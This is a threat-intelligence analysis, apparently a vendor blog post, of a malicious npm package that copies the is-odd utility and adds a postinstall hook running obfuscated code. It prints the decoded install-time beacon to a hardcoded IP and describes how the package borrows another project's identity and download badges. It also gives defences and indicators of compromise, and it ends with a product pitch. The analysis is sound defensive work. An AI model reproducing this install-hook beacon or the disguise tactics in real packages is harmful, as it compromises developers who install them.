@andrewstory18/is-real-odd (v2.0.3) was published to npm by the account andrewstory18 on 2026-06-30. It copies is-odd, a small integer-parity utility by Jon Schlinkert, and it copies it faithfully. The runtime file index.js is the original source, unmodified, so a project that installs this package and calls it gets correct answers. Nothing about the library’s behaviour is wrong.
The manifest is where the package stops being a copy. Set against the original, package.json carries the same description, the same keyword list, the same author, the same contributor names, the same repository field pointing at jonschlinkert/is-odd, and the same MIT license. Two things are added. The files array gains a second entry, index.min.js, and the scripts block gains a line:
"scripts": {
"test": "mocha",
"postinstall": "node index.min.js"
}
The original has no postinstall hook. That single line is the entire attack, and index.min.js is the entire payload. Everything else in the package exists to make both look unremarkable.
The artifact
The package is scoped to the publishing account as @andrewstory18/is-real-odd, which is the only publication under that account in our corpus. The version is 2.0.3, a plausible-looking number for a utility of this kind rather than the 1.0.0 a new project would carry.
The README is the original is-odd readme with the name changed. Its badges were not changed. They still resolve to img.shields.io/npm/v/is-odd.svg and link to npmjs.com/package/is-odd, so the version, monthly download, and total download counts rendered at the top of the page are the real package’s numbers. A reader skimming the listing sees the popularity of a widely used utility attached to this one. The install instruction in the body reads npm install --save is-real-odd, which is a third name again, matching neither the scoped package that is actually published nor the original it borrows its numbers from.
The declared dependency is is-number, which is what the real is-odd depends on. Retaining it keeps the copied index.js working, and it keeps the dependency list looking exactly like the original’s.
What it does
index.min.js is the output of a code-hiding tool rather than a minifier: identifiers are renamed to hex forms such as _0x3590e6, every string is moved into a single array, and that array is rotated at load time by a loop that shifts it until an arithmetic checksum matches a constant. Reading the file gives you no strings to read.
The rotation is recoverable without running anything. The shift count is fixed by the checksum, so applying the same arithmetic by hand settles the array after six shifts and resolves each index to its string. Decoded, the whole file is this:
var http = require('http');
var body = JSON.stringify({ message: 'Hello World' });
var request = http.request({
hostname: '144[.]172[.]91[.]84',
port: 3000,
path: '/hello',
method: 'POST',
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }
}, function (response) { /* accumulates and logs the reply */ });
request.write(body);
request.end();
At npm install, before any code of yours runs, the package opens an HTTP connection to a hardcoded address on port 3000 and posts a fixed message. It reads no environment variables, touches no files, spawns no process, and evaluates nothing that comes back.
A beacon that collects nothing is still doing a job
A fair objection is that this payload is harmless. It posts a constant string and takes nothing, and someone could argue it is a test.
Three details in the bytes sit against that reading.
Concealment costs effort and buys one thing. A message that says Hello World needs no protection, and running it through a code-hiding tool only stops a person who opens the file from seeing what it does. Effort spent hiding an innocuous payload is better explained by the payload not staying innocuous.
The delivery is a postinstall hook, which executes automatically when the package is installed and before any human reviews anything. That is a delivery mechanism, and it is the one this class of package uses. A genuine diagnostic would not need it.
The identity is borrowed throughout: the manifest carries another developer’s name, another project’s repository, and a readme whose badges display another package’s download counts. That is deliberate, and it is aimed at a reader deciding whether to trust the package.
On its own the request confirms only that a machine ran the hook, while the connection carries the source address and the timing with it. That is a survey of who installs, which is the step that comes before a payload worth delivering. Read as a survey rather than as a theft, the package is complete and doing its job.
What a defender can do
npm install --ignore-scripts prevents a postinstall hook from running at all, and it can be made the default with npm config set ignore-scripts true, at the cost of breaking packages that genuinely need a build step. Applying it in continuous integration, where a fresh install runs on every job and nobody is watching the output, is the highest-value place to start.
Beyond that, treat a lifecycle hook as a review trigger rather than a detail. A dependency whose manifest gained a postinstall between versions deserves a look at the file that hook runs, and a file that has been through a code-hiding tool deserves a decision rather than a skim. A rotated string array can be resolved statically, without executing anything, as it was here.
For this package specifically, the presence of index.min.js in a library whose entire function is one exported comparison is the anomaly that does not need any tooling to spot.
Indicators of compromise
| Type | Indicator | Context |
|---|---|---|
| npm package | @andrewstory18/is-real-odd (v2.0.3, published 2026-06-30) | Copy of is-odd with an added install hook |
| npm account | andrewstory18 | Sole publisher of the package |
| Endpoint | 144[.]172[.]91[.]84 port 3000, path /hello | Receives the install-time POST |
| Source | package/index.min.js | Machine-obfuscated, hex identifiers and a rotated string array |
| Manifest | postinstall: node index.min.js | Absent from the original is-odd, added here |
| Manifest | files array lists index.min.js | Second addition, ships the payload |
| Borrowed identity | author, contributors, repository jonschlinkert/is-odd | Copied verbatim from the original manifest |
| Readme lure | shields.io badges resolving to is-odd | Displays the original package’s download counts |
| Name mismatch | Readme installs is-real-odd, published as @andrewstory18/is-real-odd | Three names across one listing |
Where Aephix fits
This is where Aephix earns its place. Aephix is threat intelligence for the AI agent supply chain. It is not a patch or a sandbox. Before you install a package or connect to a server, Aephix Vantage gives you a free, cross-ecosystem view of what is already known to be malicious, so a package that copies a trusted utility and adds an install hook is something you recognize before you import it. When you are looking at a package, model, skill, MCP server, extension, or container like is-real-odd, Aephix Sleuth links it to the wider operation behind it, with a confidence level and supporting evidence, so you can act against the whole operation and its future republishes rather than the single artifact in front of you.